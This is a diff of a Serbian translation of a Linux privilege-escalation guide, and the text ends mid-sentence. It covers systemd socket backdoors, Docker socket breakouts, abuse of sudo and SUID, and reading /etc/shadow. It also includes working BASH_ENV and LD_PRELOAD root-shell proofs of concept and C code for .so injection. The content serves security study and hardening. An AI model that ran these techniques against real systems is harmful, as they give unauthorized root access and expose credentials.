+> Unit koji treba aktivirati kada ovaj timer istekne. Argument je naziv unit-a, čiji sufiks nije ".timer". Ako nije naveden, ova vrednost podrazumevano ukazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da ime unit-a koji se aktivira i ime timer unit-a budu identična, osim sufiksa. -Dakle, da zloupotrebite ovu dozvolu, morali biste: +Dakle, da biste zloupotrebili ovu privilegiju trebalo bi da: -- Pronaći neku systemd jedinicu (kao `.service`) koja izvršava binarni fajl na koji imate pravo pisanja -- Pronaći neku systemd jedinicu koja izvršava relativnu putanju i nad systemd PATH imate privilegije za pisanje (da imitujete taj izvršni fajl) +- Pronađite neki systemd unit (kao `.service`) koji **izvršava izvršni binarni fajl nad kojim imate dozvolu za pisanje** +- Pronađite neki systemd unit koji **poziva izvršni fajl putem relativne putanje** i imate **privilegije pisanja** nad **systemd PATH** (da biste se predstavili kao taj izvršni fajl) -Saznajte više o timerima pomoću `man systemd.timer`. +Saznajte više o timerima sa `man systemd.timer`. -### **Omogućavanje timera** +### **Omogućavanje Timera** -Da biste omogućili timer potrebne su root privilegije i da izvršite: +Da biste omogućili timer potrebne su root privilegije i treba izvršiti: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Napomena: **timer** se **aktivira** kreiranjem symlinka ka njemu na `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Soketi +## Sockets -Unix Domain Sockets (UDS) omogućavaju **komunikaciju između procesa** na istom ili različitim mašinama u okviru client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se kroz `.socket` fajlove. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets se mogu konfigurisati pomoću `.socket` fajlova. +Sockets can be configured using `.socket` files. -**Saznajte više o socket-ima pomoću `man systemd.socket`.** Unutar ovog fajla može se konfigurisati nekoliko interesantnih parametara: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali u suštini služe da **naznače na čemu će socket slušati** (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta za slušanje, itd.) -- `Accept`: Prihvata boolean argument. Ako je **true**, za svaku dolaznu konekciju se **pokreće instanca servisa** i samo konekcioni socket se prosljeđuje njoj. Ako je **false**, svi listening socket-i sami se **prosljeđuju pokrenutoj service jedinici**, i samo jedna service jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFO-e gde jedinstvena service jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Iz razloga performansi, preporučuje se pisanje novih daemona tako da budu pogodni za `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Prihvataju jednu ili više komandnih linija, koje se izvršavaju **pre** odnosno **posle** kreiranja i bindovanja listening **socket**-a/ FIFO-a. Prvi token komandne linije mora biti apsolutno ime fajla, nakon čega slede argumenti za proces. -- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se izvršavaju **pre** odnosno **posle** zatvaranja i uklanjanja listening **socket**-a/ FIFO-a. -- `Service`: Specificira ime **service** jedinice **koju treba aktivirati** na **dolazni saobraćaj**. Ova opcija je dozvoljena samo za sokete sa Accept=no. Podrazumevano je servis koji nosi isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije potrebno koristiti ovu opciju. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -Ako nađete **writable** `.socket` fajl možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Stoga, **verovatno ćete morati da sačekate restart mašine.**\ -_Napomena: sistem mora koristiti tu konfiguraciju socket fajla, inače backdoor neće biti izvršen_ +Ako nađete **writable** `.socket` fajl, možete **dodati** na početku `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Dakle, **verovatno ćete morati da sačekate restart mašine.**\ +_Imajte na umu da sistem mora koristiti tu konfiguraciju socket fajla inače backdoor neće biti izvršen_ ### Writable sockets -Ako **identifikujete bilo koji writable socket** (_sada govorimo o Unix soketima, a ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti neku ranjivost. +Ako **otkrijete bilo koji writable socket** (_sada govorimo o Unix Sockets i ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti neku ranjivost. -### Enumerisanje Unix soketa +### Enumerisanje Unix Sockets ```bash netstat -a -p --unix ``` -### Sirova konekcija +### Sirova veza ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -508,26 +538,26 @@ socket-command-injection.md ### HTTP sockets -Imajte na umu da može postojati nekoliko **sockets listening for HTTP** requests (_ne mislim na .socket files već na fajlove koji funkcionišu kao unix sockets_). Možete to proveriti pomoću: +Imajte na umu da može postojati nekoliko **sockets listening for HTTP requests** (_ne mislim na .socket files već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti sa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ako soket **odgovara na HTTP** zahtev, onda možete **komunicirati** s njim i možda **iskoristiti neku ranjivost**. +Ako socket **responds with an HTTP** request, onda možete **communicate** sa njim i možda **exploit some vulnerability**. ### Docker socket dostupan za pisanje -Docker socket, često se nalazi na `/var/run/docker.sock`, je kritičan fajl koji treba zabezbediti. Po defaultu, upisiv je od strane korisnika `root` i članova grupe `docker`. Imati pravo pisanja na ovaj socket može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. +Docker socket, koji se često nalazi na `/var/run/docker.sock`, je kritičan fajl koji treba zaštititi. Podrazumevano, on je upisiv za korisnika `root` i članove grupe `docker`. Posedovanje prava pisanja na ovaj socket može dovesti do eskalacije privilegija. Evo pregleda kako se to može izvesti i alternativnih metoda ako Docker CLI nije dostupan. -#### **Eskalacija privilegija pomoću Docker CLI** +#### **Privilege Escalation with Docker CLI** Ako imate pravo pisanja na Docker socket, možete eskalirati privilegije koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ove komande vam omogućavaju pokretanje kontejnera sa root pristupom fajl sistemu hosta. +Ove komande vam omogućavaju da pokrenete container sa root pristupom datotečnom sistemu hosta. -#### **Direktno korišćenje Docker API** +#### **Korišćenje Docker API direktno** U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati koristeći Docker API i `curl` komande. @@ -537,19 +567,19 @@ U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može man curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Pošaljite zahtev za kreiranje kontejnera koji montira root direktorijum host sistema. +2. **Create a Container:** Pošaljite zahtev da kreirate container koji mount-uje root direktorijum host sistema. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Pokrenite novo kreirani kontejner: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Upotrebite `socat` da uspostavite konekciju sa kontejnerom, omogućavajući izvršavanje komandi unutar njega. +3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka containeru, što omogućava izvršavanje komandi unutar njega. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,31 +589,31 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u kontejneru sa root pristupom fajl sistemu hosta. +Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u containeru sa root pristupom datotečnom sistemu hosta. ### Ostalo -Imajte u vidu da ako imate write permissions nad Docker socket-om zato što ste **inside the group `docker`** imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Imajte na umu da ako imate write dozvole nad docker socket-om zato što ste **u grupi `docker`**, imate [**više načina za eskalaciju privilegija**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API osluškuje na portu**, takođe ga možete kompromitovati](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Pogledajte **more ways to break out from docker or abuse it to escalate privileges** u: +Pogledajte **više načina da izađete iz dockera ili da ga zloupotrebite za eskalaciju privilegija** u: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) eskalacija privilegija -Ako ustanovite da možete da koristite **`ctr`** komandu, pročitajte sledeću stranicu jer **you may be able to abuse it to escalate privileges**: +Ako ustanovite da možete da koristite komandu **`ctr`**, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** eskalacija privilegija -Ako ustanovite da možete da koristite **`runc`** komandu, pročitajte sledeću stranicu jer **you may be able to abuse it to escalate privileges**: +Ako ustanovite da možete da koristite komandu **`runc`**, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: {{#ref}} @@ -592,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus je sofisticiran sistem za inter-Process Communication (IPC) koji omogućava aplikacijama da efikasno međusobno komuniciraju i razmenjuju podatke. Dizajniran za moderne Linux sisteme, pruža robustan okvir za različite oblike aplikacijske komunikacije. +D-Bus je sofisticiran sistem za inter-procesnu komunikaciju (IPC) koji omogućava aplikacijama efikasnu interakciju i razmenu podataka. Dizajniran imajući u vidu moderni Linux sistem, pruža robustan okvir za različite oblike komunikacije između aplikacija. -Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na unapređene UNIX domain sockets. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može naterati muzički plejer da utiša zvuk, poboljšavajući korisničko iskustvo. D-Bus takođe podržava sistem udaljenih objekata, pojednostavljujući zahteve servisa i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. +Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na unapređene UNIX domain sockets. Pored toga, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može naterati music player da utihne, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava remote object system, pojednostavljujući service requests i pozive metoda između aplikacija, racionalizujući procese koji su tradicionalno bili kompleksni. -D-Bus radi na allow/deny modelu, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala itd.) zasnovano na kumulativnom efektu podudaranja pravila politike. Ove politike specificiraju interakcije sa bus-om, što potencijalno može dovesti do eskalacije privilegija kroz eksploataciju ovih dozvola. +D-Bus radi po modelu **allow/deny**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudaranja pravila politike. Te politike određuju interakcije sa bus-om, što potencijalno može omogućiti eskalaciju privilegija iskorišćavanjem tih dozvola. -Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, koji detaljno opisuje dozvole za root korisnika da poseduje, šalje ka i prima poruke od `fi.w1.wpa_supplicant1`. +Dat je primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf`, koji detaljno opisuje dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe važe univerzalno, dok "default" context politike važe za sve koji nisu obuhvaćeni nekim drugim specifičnim pravilima. +Politike bez određenog korisnika ili grupe primenjuju se univerzalno, dok politike u "default" kontekstu važe za sve koji nisu obuhvaćeni drugim specifičnim politikama. ```xml @@ -609,7 +639,7 @@ Politike bez specificiranog korisnika ili grupe važe univerzalno, dok "default" ``` -**Saznajte kako da izlistate i iskoristite D-Bus komunikaciju ovde:** +**Naučite kako da enumerate i exploit D-Bus komunikaciju ovde:** {{#ref}} @@ -618,9 +648,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mreža** -Uvek je korisno izlistati mrežu i utvrditi poziciju mašine. +Uvek je zanimljivo da enumerate mrežu i utvrdite poziciju mašine. -### Generička enumeracija +### Generička enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -645,22 +675,22 @@ lsof -i ``` ### Otvoreni portovi -Uvek proverite mrežne servise koji rade na mašini sa kojom ranije niste mogli da stupite u interakciju, pre nego što joj pristupite: +Uvek proverite mrežne servise koji rade na mašini, a sa kojima niste mogli da stupite u interakciju pre nego što ste joj pristupili: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Proverite da li možete sniff traffic. Ako možete, mogli biste dobiti neke credentials. +Proverite da li možete da sniff traffic. Ako možete, mogli biste da dobijete neke credentials. ``` timeout 1 tcpdump ``` -## Korisnici +## Users -### Generička enumeracija +### Generic Enumeration -Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** postoje u sistemima, koji mogu da se **login** i koji imaju **root privilegije**: +Proverite **who** ste, koje **privileges** imate, koji **users** se nalaze u sistemima, koji mogu da se **login** i koji imaju **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,23 +712,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Veliki UID -Neke verzije Linuxa bile su pogođene ranjivošću koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** koristeći: **`systemd-run -t /bin/bash`** +Neke Linux verzije su bile pogođene bagom koji omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [ovde](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ovde](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [ovde](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Iskoristite ga** koristeći: **`systemd-run -t /bin/bash`** -### Groups +### Grupe -Proveri da li si **član neke grupe** koja bi ti mogla dodeliti root privilegije: +Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Međuspremnik -Proveri da li se u međuspremniku nalazi nešto interesantno (ako je moguće) +Proverite da li se u međuspremniku nalazi nešto zanimljivo (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -713,29 +743,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Poznate lozinke +### Known passwords -Ako **znate bilo koju lozinku** iz okruženja, **pokušajte da se prijavite kao svaki korisnik** koristeći tu lozinku. +Ako **znaš bilo koju lozinku** u okruženju, **pokušaj da se prijaviš kao svaki korisnik** koristeći tu lozinku. ### Su Brute -Ako vam ne smeta stvaranje puno buke i `su` i `timeout` binariji su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava brute-force-ovati korisnike. +Ako ti ne smeta da praviš mnogo buke i ako su `su` i `timeout` binarni fajlovi prisutni na računaru, možeš pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa parametrom `-a` takođe pokušava da brute-force-uje korisnike. -## Zlouporabe upisivog PATH-a +## Writable PATH abuses ### $PATH -Ako otkrijete da možete **pisati u neku fasciklu iz $PATH-a**, možda ćete moći eskalirati privilegije kreiranjem **backdoor-a unutar upisive fascikle** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (po mogućstvu root) i koja se **ne učitava iz fascikle koja se nalazi pre** vaše upisive fascikle u $PATH-u. +Ako otkriješ da možeš **pisati unutar neke fascikle iz $PATH** možda ćeš moći da escalate privileges tako što ćeš **napraviti backdoor unutar zapisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** tvoje zapisive fascikle u $PATH. ### SUDO and SUID -Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo ili ta komanda može imati suid bit. Proverite to koristeći: +Moguće je da ti je dozvoljeno da izvršiš neku komandu koristeći sudo, ili da neke komande imaju suid bit. Proveri to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Neke **neočekivane komande omogućavaju da čitate i/ili pišete fajlove ili čak izvršite komandu.** Na primer: +Neke **neočekivane komande vam omogućavaju da čitate i/ili pišete datoteke ili čak izvršite naredbu.** Na primer: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -752,30 +782,30 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh ključa u `root` direktorijum ili pozivanjem `sh`. +U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh key u root directory ili pozivanjem `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ova direktiva omogućava korisniku da **set an environment variable** tokom izvršavanja nečega: +Ova direktiva dozvoljava korisniku da **postavi promenljivu okruženja** dok izvršava nešto: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ovaj primer, **based on HTB machine Admirer**, je bio **ranjiv** na **PYTHONPATH hijacking** da učita proizvoljnu python biblioteku dok se skripta izvršavala kao root: +Ovaj primer, **based on HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** da učita proizvoljnu python biblioteku pri izvršavanju skripte kao root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV sačuvan preko sudo env_keep → root shell -If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. +Ako sudoers sačuva `BASH_ENV` (npr. `Defaults env_keep+="ENV BASH_ENV"`), možete iskoristiti Bash-ovo ponašanje pri pokretanju neinteraktivnog shell-a da pokrenete proizvoljni kod kao root kada pozovete dozvoljenu komandu. -- Why it works: Za neinteraktivne shelove, Bash procenjuje `$BASH_ENV` i učitava (sources) taj fajl pre nego što pokrene ciljni skript. Mnoge sudo politike dozvoljavaju pokretanje skripte ili shell wrapper-a. Ako sudo sačuva `BASH_ENV`, vaš fajl će biti učitan sa root privilegijama. +- Zašto ovo radi: Za neinteraktivne shelove, Bash procenjuje `$BASH_ENV` i učitava taj fajl pre pokretanja ciljnog skripta. Mnoge sudo politike dozvoljavaju pokretanje skripte ili shell wrapper-a. Ako sudo sačuva `BASH_ENV`, vaš fajl se učitava sa root privilegijama. -- Requirements: -- sudo pravilo koje možete pokrenuti (bilo koji cilj koji poziva `/bin/bash` neinteraktivno, ili bilo koja bash skripta). +- Zahtevi: +- Sudo pravilo koje možete pokrenuti (bilo koji target koji poziva `/bin/bash` neinteraktivno, ili bilo koja bash skripta). - `BASH_ENV` prisutan u `env_keep` (proverite sa `sudo -l`). - PoC: @@ -789,13 +819,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Ojačavanje: -- Uklonite `BASH_ENV` (i `ENV`) iz `env_keep`, radije koristite `env_reset`. -- Izbegavajte shell wrappers za sudo-allowed commands; koristite minimalne binarne. -- Razmotrite sudo I/O logging i alertiranje kada se koriste sačuvane env vars. +- Uklonite `BASH_ENV` (i `ENV`) iz `env_keep`; umesto toga koristite `env_reset`. +- Izbegavajte shell wrappers za sudo-allowed komande; koristite minimalne binarije. +- Razmotrite sudo I/O logging i alerting kada se koriste preserved env vars. -### Putevi za zaobilaženje sudo izvršavanja +### Putevi za obilaženje izvršavanja sudo -**Jump** da pročitate druge fajlove ili koristite **symlinks**. Na primer u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Skočite** da biste pročitali druge fajlove ili koristite **symlinks**. Na primer u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -805,30 +835,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ako se koristi **wildcard** (\*), to je još lakše: +Ako se koristi **wildcard** (\*), još je lakše: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Protivmere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez putanje komande +### Sudo command/SUID binary bez putanje do komande -Ako je korisniku dodeljena **sudo dozvola** za jednu komandu **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti menjajući promenljivu PATH +Ako je **sudo permission** dodeljena jednoj komandi **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti menjanjem PATH varijable ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ova tehnika se takođe može koristiti ako **suid** binarni fajl **pokreće neku drugu komandu bez navođenja puta do nje (uvek proverite koristeći** _**strings**_ **sadržaj čudnog SUID binarnog fajla)**. +Ova tehnika se takođe može koristiti ako **suid** binary **izvršava drugu komandu bez navođenja putanje do nje (uvek proveri pomoću** _**strings**_ **sadržaj čudnog SUID binarnog fajla)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binarni fajl sa putanjom komande +### SUID binary sa putanjom komande -Ako **suid** binarni fajl **pokreće drugu komandu navodeći putanju**, onda možete pokušati da **export a function** nazvanu kao komanda koju suid fajl poziva. +Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** nazvanu kao komanda koju taj suid fajl poziva. -Na primer, ako suid binarni fajl poziva _**/usr/sbin/service apache2 start**_ morate pokušati da kreirate funkciju i export it: +Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_, treba pokušati da kreirate funkciju i export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -837,14 +867,14 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +Okruženjska promenljiva **LD_PRELOAD** koristi se za navođenje jedne ili više deljenih biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. -Međutim, da bi se održala bezbednost sistema i sprečilo zloupotrebljavanje ove funkcije, naročito kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: +Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem primenjuje određene uslove: -- Loader ignoriše **LD_PRELOAD** za izvršne fajlove gde realni user ID (_ruid_) ne odgovara efektivnom user ID (_euid_). -- Za izvršne fajlove sa **suid/sgid**, preucitavaju se samo biblioteke koje se nalaze u standardnim putanjama i koje su takođe **suid/sgid**. +- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove kod kojih se stvarni korisnički ID (_ruid_) ne poklapa sa efektivnim korisničkim ID (_euid_). +- Za izvršne fajlove sa **suid/sgid**, samo biblioteke iz standardnih putanja koje su takođe **suid/sgid** se pre-učitavaju. -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +Eskalacija privilegija može nastati ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` sadrži izraz **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` @@ -861,17 +891,17 @@ setuid(0); system("/bin/bash"); } ``` -Zatim **kompajlirajte ga** koristeći: +Zatim **kompajlirajte** koristeći: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Na kraju, **escalate privileges** izvršavanjem +Na kraju, **escalate privileges** pokretanjem ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc može se zloupotrebiti ako napadač kontroliše **LD_LIBRARY_PATH** env variable, jer on kontroliše putanju na kojoj će se biblioteke tražiti. +> Sličan privesc se može zloupotrebiti ako napadač kontroliše env promenljivu **LD_LIBRARY_PATH**, jer tada kontroliše putanju u kojoj će se tražiti biblioteke. ```c #include #include @@ -893,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Kada naiđete na binary sa **SUID** privilegijama koji deluje neobično, dobra je praksa proveriti da li ispravno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: +Kada naiđete na binary sa **SUID** permisijama koji deluje neuobičajeno, dobro je proveriti da li pravilno učitava **.so** fajlove. To se može uraditi pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na primer, nailazak na grešku kao što je _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za exploitation. +Na primer, naići na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. -Da biste exploit-ovali ovo, kreirajte C fajl, npr. _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: +Da bi se ovo iskoristilo, pristup bi bio kreiranje C fajla, recimo _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: ```c #include #include @@ -910,13 +940,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Овај код, када се компајлира и изврши, има за циљ да повећа привилегије манипулацијом дозвола фајлова и покретањем shell-а са повишеним привилегијама. +Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvola fajla i izvršavanjem shell-a sa povišenim privilegijama. -Компајлирајте горе наведени C фајл у shared object (.so) фајл помоћу: +Kompajlirajte gornji C fajl u shared object (.so) fajl pomoću: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na kraju, pokretanje pogođenog SUID binary-ja trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. +Na kraju, pokretanje pogođenog SUID binary trebalo bi da pokrene exploit, što može dovesti do kompromitovanja 